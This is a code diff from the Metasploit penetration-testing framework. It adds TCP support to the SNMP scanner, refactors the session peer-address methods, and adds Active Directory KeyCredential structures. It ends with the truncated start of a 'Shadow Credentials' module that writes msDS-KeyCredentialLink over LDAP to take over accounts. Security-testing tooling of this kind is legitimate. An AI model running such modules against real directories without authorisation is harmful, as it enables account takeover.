||||
inclusion: {
|
||||
in: ['udp', 'tcp']
|
||||
}
|
||||
|
||||
validates :queue_size,
|
||||
presence: true,
|
||||
numericality: {
|
||||
@@ -191,10 +202,26 @@ module Metasploit
|
||||
process_responses(1.0)
|
||||
end
|
||||
|
||||
def recv_wrapper(sock, max_size, timeout)
|
||||
res = nil
|
||||
if protocol == 'udp'
|
||||
res = sock.recvfrom(max_size, timeout)
|
||||
elsif protocol == 'tcp'
|
||||
ready = ::IO.select([sock], nil, nil, timeout)
|
||||
if ready
|
||||
res = sock.recv_nonblock(max_size)
|
||||
# Put into an array to mimic recvfrom
|
||||
res = [res, host, port]
|
||||
end
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Process any responses on the UDP socket and queue the results
|
||||
def process_responses(timeout = 1.0)
|
||||
queue = []
|
||||
while (res = sock.recvfrom(65535, timeout))
|
||||
while (res = recv_wrapper(sock, 65535, timeout))
|
||||
|
||||
# Ignore invalid responses
|
||||
break if !(res[1])
|
||||
@@ -212,7 +239,7 @@ module Metasploit
|
||||
community: response[:community],
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'udp',
|
||||
protocol: protocol,
|
||||
service_name: 'snmp',
|
||||
proof: response[:proof],
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
@@ -237,12 +264,22 @@ module Metasploit
|
||||
)
|
||||
end
|
||||
|
||||
def send_wrapper(sock, pkt, host, port, flags)
|
||||
if protocol == 'tcp'
|
||||
return sock.send(pkt, flags)
|
||||
end
|
||||
|
||||
if protocol == 'udp'
|
||||
return sock.sendto(pkt, host, port, 0)
|
||||
end
|
||||
end
|
||||
|
||||
# Send a SNMP request on the existing socket
|
||||
def send_snmp_request(pkt)
|
||||
resend_count = 0
|
||||
|
||||
begin
|
||||
sock.sendto(pkt, host, port, 0)
|
||||
send_wrapper(sock, pkt, host, port, 0)
|
||||
rescue ::Errno::ENOBUFS
|
||||
resend_count += 1
|
||||
if resend_count > MAX_RESEND_COUNT
|
||||
@@ -347,10 +384,15 @@ module Metasploit
|
||||
# Create a new socket for this scanner
|
||||
def configure_socket
|
||||
shutdown_socket if sock
|
||||
self.sock = ::Rex::Socket::Udp.create(
|
||||
|
||||
self.sock = ::Rex::Socket.create({
|
||||
'PeerHost' => host,
|
||||
'PeerPort' => port,
|
||||
'Proto' => protocol,
|
||||
'Timeout' => connection_timeout,
|
||||
'Context' =>
|
||||
{ 'Msf' => framework, 'MsfExploit' => framework_module }
|
||||
)
|
||||
})
|
||||
end
|
||||
|
||||
# Close any open socket if it exists
|
||||
@@ -362,6 +404,7 @@ module Metasploit
|
||||
# Sets the SNMP parameters if not specified
|
||||
def set_sane_defaults
|
||||
self.connection_timeout = DEFAULT_TIMEOUT if connection_timeout.nil?
|
||||
self.protocol = DEFAULT_PROTOCOL if protocol.nil?
|
||||
self.port = DEFAULT_PORT if port.nil?
|
||||
self.version = DEFAULT_VERSION if version.nil?
|
||||
self.queue_size = DEFAULT_QUEUE_SIZE if queue_size.nil?
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.4.2"
|
||||
VERSION = "6.4.3"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -4,10 +4,6 @@ require 'rex/post/mssql'
|
||||
|
||||
class Msf::Sessions::MSSQL < Msf::Sessions::Sql
|
||||
|
||||
# @return [String] The address MSSQL is running on
|
||||
attr_accessor :address
|
||||
# @return [Integer] The port MSSQL is running on
|
||||
attr_accessor :port
|
||||
attr_reader :framework
|
||||
|
||||
def initialize(rstream, opts = {})
|
||||
@@ -40,18 +36,4 @@ class Msf::Sessions::MSSQL < Msf::Sessions::Sql
|
||||
def desc
|
||||
'MSSQL'
|
||||
end
|
||||
|
||||
def address
|
||||
return @address if @address
|
||||
|
||||
@address, @port = client.sock.peerinfo.split(':')
|
||||
@address
|
||||
end
|
||||
|
||||
def port
|
||||
return @port if @port
|
||||
|
||||
@address, @port = client.sock.peerinfo.split(':')
|
||||
@port
|
||||
end
|
||||
end
|
||||
|
||||
@@ -8,6 +8,8 @@ class Msf::Sessions::MySQL < Msf::Sessions::Sql
|
||||
# @param [Hash] opts
|
||||
def initialize(rstream, opts = {})
|
||||
@client = opts.fetch(:client)
|
||||
self.platform = opts.fetch(:platform)
|
||||
self.arch = opts.fetch(:arch)
|
||||
self.console = ::Rex::Post::MySQL::Ui::Console.new(self)
|
||||
super(rstream, opts)
|
||||
end
|
||||
@@ -19,7 +21,7 @@ class Msf::Sessions::MySQL < Msf::Sessions::Sql
|
||||
session = self
|
||||
session.init_ui(user_input, user_output)
|
||||
|
||||
@info = "MySQL #{datastore['USERNAME']} @ #{client.socket.peerinfo}"
|
||||
@info = "MySQL #{datastore['USERNAME']} @ #{client.peerinfo}"
|
||||
end
|
||||
|
||||
# @return [String] The type of the session
|
||||
@@ -36,20 +38,4 @@ class Msf::Sessions::MySQL < Msf::Sessions::Sql
|
||||
def desc
|
||||
'MySQL'
|
||||
end
|
||||
|
||||
# @return [Object] The peer address
|
||||
def address
|
||||
return @address if @address
|
||||
|
||||
@address, @port = @client.socket.peerinfo.split(':')
|
||||
@address
|
||||
end
|
||||
|
||||
# @return [Object] The peer host
|
||||
def port
|
||||
return @port if @port
|
||||
|
||||
@address, @port = @client.socket.peerinfo.split(':')
|
||||
@port
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,7 +6,7 @@ class Msf::Sessions::PostgreSQL < Msf::Sessions::Sql
|
||||
|
||||
# @param[Rex::IO::Stream] rstream
|
||||
# @param [Hash] opts
|
||||
# @param opts [PostgreSQL::Client] :client
|
||||
# @param opts [Msf::Db::PostgresPR::Connection] :client
|
||||
def initialize(rstream, opts = {})
|
||||
@client = opts.fetch(:client)
|
||||
@console = ::Rex::Post::PostgreSQL::Ui::Console.new(self)
|
||||
@@ -39,18 +39,4 @@ class Msf::Sessions::PostgreSQL < Msf::Sessions::Sql
|
||||
def desc
|
||||
'PostgreSQL'
|
||||
end
|
||||
|
||||
def address
|
||||
return @address if @address
|
||||
|
||||
@address, @port = @client.conn.peerinfo.split(':')
|
||||
@address
|
||||
end
|
||||
|
||||
def port
|
||||
return @port if @port
|
||||
|
||||
@address, @port = @client.conn.peerinfo.split(':')
|
||||
@port
|
||||
end
|
||||
end
|
||||
|
||||
@@ -75,17 +75,11 @@ class Msf::Sessions::SMB
|
||||
end
|
||||
|
||||
def address
|
||||
return @address if @address
|
||||
|
||||
@address, @port = self.client.dispatcher.tcp_socket.peerinfo.split(':')
|
||||
@address
|
||||
@address ||= simple_client.peerhost
|
||||
end
|
||||
|
||||
def port
|
||||
return @port if @port
|
||||
|
||||
@address, @port = self.client.dispatcher.tcp_socket.peerinfo.split(':')
|
||||
@port
|
||||
@port ||= simple_client.peerport
|
||||
end
|
||||
|
||||
##
|
||||
|
||||
@@ -73,14 +73,14 @@ class Msf::Sessions::Sql
|
||||
raise ::NotImplementedError
|
||||
end
|
||||
|
||||
# @return [Object] The peer address
|
||||
# @return [String] The peer address
|
||||
def address
|
||||
raise ::NotImplementedError
|
||||
client.peerhost
|
||||
end
|
||||
|
||||
# @return [Object] The peer host
|
||||
# @return [Integer] The peer port
|
||||
def port
|
||||
raise ::NotImplementedError
|
||||
client.peerport
|
||||
end
|
||||
|
||||
# Initializes the console's I/O handles.
|
||||
|
||||
@@ -29,7 +29,7 @@ module Rex
|
||||
self.session = session
|
||||
self.client = session.client
|
||||
envchange = ::Rex::Proto::MSSQL::ClientMixin::ENVCHANGE
|
||||
prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{client.initial_info_for_envchange(envchange: envchange::DATABASE)[:new]})%clr"
|
||||
prompt = "%undMSSQL @ #{client.peerinfo} (#{client.initial_info_for_envchange(envchange: envchange::DATABASE)[:new]})%clr"
|
||||
history_manager = Msf::Config.mssql_session_history
|
||||
super(prompt, '>', history_manager, nil, :mssql)
|
||||
|
||||
|
||||
@@ -24,8 +24,7 @@ module Rex
|
||||
# The mysql client context
|
||||
self.session = session
|
||||
self.client = session.client
|
||||
self.client.socket ||= self.client.io
|
||||
prompt = "%undMySQL @ #{client.socket.peerinfo} (#{current_database})%clr"
|
||||
prompt = "%undMySQL @ #{client.peerinfo} (#{current_database})%clr"
|
||||
history_manager = Msf::Config.mysql_session_history
|
||||
super(prompt, '>', history_manager, nil, :mysql)
|
||||
|
||||
|
||||
@@ -28,7 +28,7 @@ module Rex
|
||||
# The postgresql client context
|
||||
self.session = session
|
||||
self.client = session.client
|
||||
prompt = "%undPostgreSQL @ #{client.conn.peerinfo} (#{current_database})%clr"
|
||||
prompt = "%undPostgreSQL @ #{client.peerinfo} (#{current_database})%clr"
|
||||
history_manager = Msf::Config.postgresql_session_history
|
||||
super(prompt, '>', history_manager, nil, :postgresql)
|
||||
|
||||
|
||||
Executable
+24
@@ -0,0 +1,24 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'bindata'
|
||||
|
||||
module Rex::Proto
|
||||
# [_BCRYPT_RSAKEY_BLOB](https://github.com/tpn/winsdk-10/blob/9b69fd26ac0c7d0b83d378dba01080e93349c2ed/Include/10.0.14393.0/shared/bcrypt.h#L390)
|
||||
class BcryptPublicKey < BinData::Record
|
||||
MAGIC = 0x31415352
|
||||
endian :little
|
||||
|
||||
uint32 :magic, initial_value: MAGIC
|
||||
uint32 :key_length
|
||||
uint32 :exponent_length, :value => lambda { exponent.length }
|
||||
uint32 :modulus_length, :value => lambda { modulus.length }
|
||||
uint32 :prime1_length, :value => lambda { prime1.length }
|
||||
uint32 :prime2_length, :value => lambda { prime2.length }
|
||||
|
||||
string :exponent, :read_length => :exponent_length
|
||||
string :modulus, :read_length => :modulus_length
|
||||
string :prime1, :read_length => :prime1_length
|
||||
string :prime2, :read_length => :prime2_length
|
||||
end
|
||||
end
|
||||
|
||||
Executable
+38
@@ -0,0 +1,38 @@
|
||||
module Rex
|
||||
module Proto
|
||||
module LDAP
|
||||
|
||||
# Handle converting objects into the DN-Binary syntax
|
||||
# See: https://learn.microsoft.com/en-us/windows/win32/adschema/s-object-dn-binary
|
||||
class DnBinary
|
||||
def initialize(dn, data)
|
||||
self.dn = dn
|
||||
self.data = data
|
||||
end
|
||||
|
||||
# Turn a DN-Binary string into a structured object containing data and a DN
|
||||
# @param str [String] A DN-Binary-formatted string
|
||||
def self.decode(str)
|
||||
groups = str.match(/B:(\d+):(([a-fA-F0-9]{2})*):(.*)/)
|
||||
raise ArgumentError.new('Invalid DN Binary string') if groups.nil?
|
||||
length = groups[1].to_i
|
||||
raise ArgumentError.new('Invalid DN Binary string length') if groups[2].length != length
|
||||
data = [groups[2]].pack('H*')
|
||||
|
||||
DnBinary.new(groups[4], data)
|
||||
end
|
||||
|
||||
# Turn this structured object containing data and a DN into a DN-Binary string
|
||||
# @return [String] The DN-Binary-formatted string
|
||||
def encode
|
||||
data_hex = self.data.unpack('H*')[0]
|
||||
|
||||
"B:#{data_hex.length}:#{data_hex}:#{self.dn}"
|
||||
end
|
||||
|
||||
attr_accessor :data # Raw bytes
|
||||
attr_accessor :dn # LDAP Distinguished name
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Executable
+185
@@ -0,0 +1,185 @@
|
||||
module Rex::Proto::MsAdts
|
||||
class KeyCredential
|
||||
|
||||
KEY_USAGE_NGC = 0x01
|
||||
KEY_USAGE_FIDO = 0x07
|
||||
KEY_USAGE_FEK = 0x08
|
||||
|
||||
KEY_CREDENTIAL_VERSION_2 = 0x200
|
||||
DEFAULT_KEY_INFORMATION = "\x01\x00" # Version and flags
|
||||
|
||||
def initialize
|
||||
self.key_source = 0
|
||||
self.device_id = Rex::Proto::MsDtyp::MsDtypGuid.new
|
||||
self.device_id.set(Rex::Proto::MsDtyp::MsDtypGuid.random_generate)
|
||||
self.custom_key_information = DEFAULT_KEY_INFORMATION
|
||||
end
|
||||
|
||||
# Set the key material for this credential object
|
||||
# @param public_key [OpenSSL::PKey::RSA] Public key used for authentication
|
||||
# @param key_usage [Enumeration] From the KEY_USAGE constants in this class
|
||||
def set_key(public_key, key_usage)
|
||||
self.key_usage = key_usage
|
||||
|
||||
case self.key_usage
|
||||
when KEY_USAGE_NGC
|
||||
result = Rex::Proto::BcryptPublicKey.new
|
||||
result.key_length = public_key.n.num_bits
|
||||
n = self.class.int_to_bytes(public_key.n)
|
||||
e = self.class.int_to_bytes(public_key.e)
|
||||
result.exponent = e
|
||||
result.modulus = n
|
||||
result.prime1 = ''
|
||||
result.prime2 = ''
|
||||
self.raw_key_material = result.to_binary_s
|
||||
else
|
||||
# Unknown key type
|
||||
return
|
||||
end
|
||||
sha256 = OpenSSL::Digest.new('SHA256')
|
||||
self.key_id = sha256.digest(self.raw_key_material)
|
||||
end
|
||||
|
||||
# Approximate time this key was last used
|
||||
# @return [Time] Approximate time this key was last used
|
||||
def key_approximate_last_logon_time
|
||||
ft = key_approximate_last_logon_time_raw
|
||||
RubySMB::Field::FileTime.new(ft.unpack('Q')[0]).to_time
|
||||
end
|
||||
|
||||
# Set the approximate last logon time for this credential object
|
||||
# @param time [Time] Last time this credential was used to log on
|
||||
def key_approximate_last_logon_time=(time)
|
||||
self.key_approximate_last_logon_time_raw = RubySMB::Field::FileTime.new(time).to_binary_s
|
||||
end
|
||||
|
||||
# Approximate time this key was created
|
||||
# @return [Time] Approximate time this key was created
|
||||
def key_creation_time
|
||||
ft = key_creation_time_raw
|
||||
RubySMB::Field::FileTime.new(ft.unpack('Q')[0]).to_time
|
||||
end
|
||||
|
||||
# Set the creation time for this credential object
|
||||
# @param time [Time] Time that this key was created
|
||||
def key_creation_time=(time)
|
||||
self.key_creation_time_raw = RubySMB::Field::FileTime.new(time).to_binary_s
|
||||
end
|
||||
|
||||
# Creates a MsAdtsKeyCredentialStruct, including calculating the value for key_hash
|
||||
# @return [MsAdtsKeyCredentialStruct] A structured object able to be converted to binary and sent to a DCc
|
||||
def to_struct
|
||||
result = MsAdtsKeyCredentialStruct.new
|
||||
result.version = KEY_CREDENTIAL_VERSION_2
|
||||
add_entry(result, 3, self.raw_key_material)
|
||||
add_entry(result, 4, [self.key_usage].pack('C'))
|
||||
add_entry(result, 5, [self.key_source].pack('C'))
|
||||
add_entry(result, 6, self.device_id.to_binary_s)
|
||||
add_entry(result, 7, self.custom_key_information)
|
||||
add_entry(result, 8, self.key_approximate_last_logon_time_raw)
|
||||
add_entry(result, 9, self.key_creation_time_raw)
|
||||
|
||||
calculate_key_hash(result)
|
||||
|
||||
add_entry(result, 2, self.key_hash, insert_at_end: false)
|
||||
add_entry(result, 1, self.key_id, insert_at_end: false)
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
# Construct a KeyCredential object from a MsAdtsKeyCredentialStruct (likely received from a Domain Controller)
|
||||
# @param cred_struct [MsAdtsKeyCredentialStruct] Credential structure to convert
|
||||
def self.from_struct(cred_struct)
|
||||
obj = KeyCredential.new
|
||||
obj.key_id = get_entry(cred_struct, 1)
|
||||
obj.key_hash = get_entry(cred_struct, 2)
|
||||
obj.raw_key_material = get_entry(cred_struct, 3)
|
||||
obj.key_usage = get_entry(cred_struct, 4).unpack('C')[0]
|
||||
obj.key_source = get_entry(cred_struct, 5).unpack('C')[0]
|
||||
obj.device_id = Rex::Proto::MsDtyp::MsDtypGuid.read(get_entry(cred_struct, 6))
|
||||
obj.custom_key_information = get_entry(cred_struct, 7)
|
||||
ft = get_entry(cred_struct, 8)
|
||||
obj.key_approximate_last_logon_time_raw = ft
|
||||
ft = get_entry(cred_struct, 9)
|
||||
obj.key_creation_time_raw = ft
|
||||
|
||||
obj
|
||||
end
|
||||
|
||||
# Properties
|
||||
attr_accessor :key_id # SHA256 hash of KeyMaterial
|
||||
attr_accessor :key_hash # SHA256 hash of all entries after this entry
|
||||
attr_accessor :raw_key_material # Key material of the credential, in bytes
|
||||
attr_accessor :key_usage # Enumeration
|
||||
attr_accessor :key_source # Always KEY_SOURCE_AD (0)
|
||||
attr_accessor :device_id # [MsDtypGuid] Identifier for this credential
|
||||
attr_accessor :custom_key_information # Two bytes is fine: Version and Flags
|
||||
attr_accessor :key_approximate_last_logon_time_raw # Raw bytes for approximate time this key was last used
|
||||
attr_accessor :key_creation_time_raw # Raw bytes for approximate time this key was created
|
||||
|
||||
# Find the entry with the given identifier
|
||||
# @param struct [MsAdtsKeyCredentialStruct] Structure containing entries to search through
|
||||
# @param struct [Integer] Identifier to search for, from https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a99409ea-4982-4f72-b7ef-8596013a36c7
|
||||
# @return [String] The data associated with this identifier, or nil if not found
|
||||
def self.get_entry(struct, identifier)
|
||||
struct.credential_entries.each do |entry|
|
||||
if entry.identifier == identifier
|
||||
return entry.data
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Parse the object's raw key material field into a OpenSSL::PKey::RSA object
|
||||
# @param obj [KeyCredential] The object for which to parse the key
|
||||
def public_key
|
||||
case key_usage
|
||||
when KEY_USAGE_NGC
|
||||
if raw_key_material.start_with?([Rex::Proto::BcryptPublicKey::MAGIC].pack('I'))
|
||||
result = Rex::Proto::BcryptPublicKey.read(raw_key_material)
|
||||
exponent = OpenSSL::ASN1::Integer.new(bytes_to_int(result.exponent))
|
||||
modulus = OpenSSL::ASN1::Integer.new(bytes_to_int(result.modulus))
|
||||
# OpenSSL's API has changed over time - constructing from DER has been consistent
|
||||
data_sequence = OpenSSL::ASN1::Sequence([modulus, exponent])
|
||||
|
||||
OpenSSL::PKey::RSA.new(data_sequence.to_der)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Create a MsAdtsKeyCredentialEntryStruct from the provided data, and insert it in to the provided structure
|
||||
# @param struct [MsAdtsKeyCredentialStruct] Structure to insert the resulting entry into
|
||||
# @param identifier [Integer] Identifier associated with this entry, from https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a99409ea-4982-4f72-b7ef-8596013a36c7
|
||||
# @param data [String] The data to create an entry from
|
||||
# @param insert_at_end [Boolean] Whether to insert the new entry at the end of the credential_entries; otherwise will insert at start
|
||||
def add_entry(struct, identifier, data, insert_at_end: true)
|
||||
entry = MsAdtsKeyCredentialEntryStruct.new
|
||||
entry.identifier = identifier
|
||||
entry.data = data
|
||||
entry.struct_length = data.length
|
||||
if insert_at_end
|
||||
struct.credential_entries.insert(struct.credential_entries.length, entry)
|
||||
else # Insert at start
|
||||
struct.credential_entries.insert(0, entry)
|
||||
end
|
||||
end
|
||||
|
||||
def self.int_to_bytes(num)
|
||||
str = num.to_s(16).rjust(2, '0')
|
||||
|
||||
[str].pack('H*')
|
||||
end
|
||||
|
||||
def bytes_to_int(num)
|
||||
num.unpack('H*')[0].to_i(16)
|
||||
end
|
||||
|
||||
# Sets self.key_hash based on the credential_entries value in the provided parameter
|
||||
# @param struct [MsAdtsKeyCredentialStruct] Its credential_entries value should have only those required to calculate the key_hash value (no key_id or key_hash)
|
||||
def calculate_key_hash(struct)
|
||||
sha256 = OpenSSL::Digest.new('SHA256')
|
||||
self.key_hash = sha256.digest(struct.credential_entries.to_binary_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,14 @@
|
||||
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'bindata'
|
||||
|
||||
module Rex::Proto::MsAdts
|
||||
class MsAdtsKeyCredentialEntryStruct < BinData::Record
|
||||
endian :little
|
||||
|
||||
uint16 :struct_length
|
||||
uint8 :identifier
|
||||
string :data, length: :struct_length
|
||||
end
|
||||
end
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'bindata'
|
||||
require 'rex/proto/ms_adts/ms_adts_key_credential_entry_struct'
|
||||
|
||||
module Rex::Proto::MsAdts
|
||||
class MsAdtsKeyCredentialStruct < BinData::Record
|
||||
endian :little
|
||||
|
||||
uint32 :version
|
||||
|
||||
array :credential_entries, type: :ms_adts_key_credential_entry_struct, read_until: :eof
|
||||
end
|
||||
end
|
||||
@@ -68,6 +68,7 @@ module Rex
|
||||
@rhost = rhost
|
||||
@rport = rport
|
||||
@proxies = proxies
|
||||
@current_database = ''
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -28,6 +28,67 @@ module Rex
|
||||
# Current database is stored as an array under the type 1 key.
|
||||
session_track.fetch(1, ['']).first
|
||||
end
|
||||
|
||||
# List of supported MySQL platforms & architectures:
|
||||
# https://www.mysql.com/support/supportedplatforms/database.html
|
||||
def map_compile_os_to_platform(compile_os)
|
||||
return Msf::Platform::Unknown.realname if compile_os.blank?
|
||||
|
||||
compile_os = compile_os.downcase.encode(::Encoding::BINARY)
|
||||
|
||||
if compile_os.match?('linux')
|
||||
platform = Msf::Platform::Linux
|
||||
elsif compile_os.match?('unix')
|
||||
platform = Msf::Platform::Unix
|
||||
elsif compile_os.match?(/(darwin|mac|osx)/)
|
||||
platform = Msf::Platform::OSX
|
||||
elsif compile_os.match?('win')
|
||||
platform = Msf::Platform::Windows
|
||||
elsif compile_os.match?('solaris')
|
||||
platform = Msf::Platform::Solaris
|
||||
else
|
||||
platform = Msf::Platform::Unknown
|
||||
end
|
||||
|
||||
platform.realname
|
||||
end
|
||||
|
||||
def map_compile_arch_to_architecture(compile_arch)
|
||||
return '' if compile_arch.blank?
|
||||
|
||||
compile_arch = compile_arch.downcase.encode(::Encoding::BINARY)
|
||||
|
||||
if compile_arch.match?('sparc')
|
||||
if compile_arch.include?('64')
|
||||
arch = ARCH_SPARC64
|
||||
else
|
||||
arch = ARCH_SPARC
|
||||
end
|
||||
elsif compile_arch.match?('arm')
|
||||
arch = ARCH_AARCH64
|
||||
elsif compile_arch.match?('64')
|
||||
arch = ARCH_X86_64
|
||||
elsif compile_arch.match?('86') || compile_arch.match?('i686')
|
||||
arch = ARCH_X86
|
||||
else
|
||||
arch = ''
|
||||
end
|
||||
|
||||
arch
|
||||
end
|
||||
|
||||
# @return [Hash] Detect the platform and architecture of the MySQL server:
|
||||
# * :arch [String] The server architecture.
|
||||
# * :platform [String] The server platform.
|
||||
def detect_platform_and_arch
|
||||
result = {}
|
||||
|
||||
server_vars = query("show variables where variable_name in ('version_compile_machine', 'version_compile_os')").entries.to_h
|
||||
result[:arch] = map_compile_arch_to_architecture(server_vars['version_compile_machine'])
|
||||
result[:platform] = map_compile_os_to_platform(server_vars['version_compile_os'])
|
||||
|
||||
result
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -19,11 +19,13 @@ class SimpleClient
|
||||
DEFAULT_VERSIONS = [1, 2, 3].freeze
|
||||
|
||||
# Public accessors
|
||||
attr_accessor :last_error, :server_max_buffer_size, :address, :port
|
||||
attr_accessor :last_error, :server_max_buffer_size
|
||||
|
||||
# Private accessors
|
||||
attr_accessor :socket, :client, :direct, :shares, :last_share, :versions
|
||||
|
||||
attr_reader :address, :port
|
||||
|
||||
# Pass the socket object and a boolean indicating whether the socket is netbios or cifs
|
||||
def initialize(socket, direct = false, versions = DEFAULT_VERSIONS, always_encrypt: true, backend: nil, client: nil)
|
||||
self.socket = socket
|
||||
@@ -258,6 +260,19 @@ class SimpleClient
|
||||
self.client.negotiated_smb_version || -1
|
||||
end
|
||||
|
||||
alias peerhost address
|
||||
|
||||
def peerport
|
||||
port.to_i
|
||||
end
|
||||
|
||||
def peerinfo
|
||||
"#{peerhost}:#{peerport}"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
attr_writer :address, :port
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -10,19 +10,19 @@ module Rex::UserAgent
|
||||
#
|
||||
COMMON_AGENTS = [
|
||||
# Chrome
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
|
||||
|
||||
# Edge
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47',
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.2420.65',
|
||||
|
||||
# Safari
|
||||
'Mozilla/5.0 (iPad; CPU OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15',
|
||||
'Mozilla/5.0 (iPad; CPU OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604.1',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15',
|
||||
|
||||
# Firefox
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.4; rv:124.0) Gecko/20100101 Firefox/124.0'
|
||||
]
|
||||
|
||||
#
|
||||
|
||||
@@ -38,7 +38,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
[ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],
|
||||
[ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]
|
||||
],
|
||||
'DefaultAction' => 'GET_TGT'
|
||||
'DefaultAction' => 'GET_TGT',
|
||||
'AKA' => ['PKINIT']
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,266 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Shadow Credentials',
|
||||
'Description' => %q{
|
||||
This module can read and write the necessary LDAP attributes to configure a particular account with a
|
||||
Key Credential Link. This allows weaponising write access to a user account by adding a certificate
|
||||
that can subsequently be used to authenticate. In order for this to succeed, the authenticated user
|
||||
must have write access to the target object (the object specified in TARGET_USER).
|
||||
},
|
||||
'Author' => [
|
||||
'Elad Shamir', # Original research
|
||||
'smashery' # module author
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'],
|
||||
['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
['FLUSH', { 'Description' => 'Delete all certificate entries' }],
|
||||
['LIST', { 'Description' => 'Read all credentials associated with the account' }],
|
||||
['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }],
|
||||
['ADD', { 'Description' => 'Add a credential to the account' }]
|
||||
],
|
||||
'DefaultAction' => 'LIST',
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGET_USER', [ true, 'The target to write to' ]),
|
||||
OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]),
|
||||
])
|
||||
end
|
||||
|
||||
def fail_with_ldap_error(message)
|
||||
ldap_result = @ldap.get_operation_result.table
|
||||
return if ldap_result[:code] == 0
|
||||
|
||||
print_error(message)
|
||||
if ldap_result[:code] == 16
|
||||
fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.')
|
||||
else
|
||||
validate_query_result!(ldap_result)
|
||||
end
|
||||
end
|
||||
|
||||
def warn_on_likely_user_error
|
||||
ldap_result = @ldap.get_operation_result.table
|
||||
if ldap_result[:code] == 50
|
||||
if (datastore['USERNAME'] == datastore['TARGET_USER'] ||
|
||||
datastore['USERNAME'] == datastore['TARGET_USER'] + '$') &&
|
||||
datastore['USERNAME'].end_with?('$') &&
|
||||
['add', 'remove'].include?(action.name.downcase)
|
||||
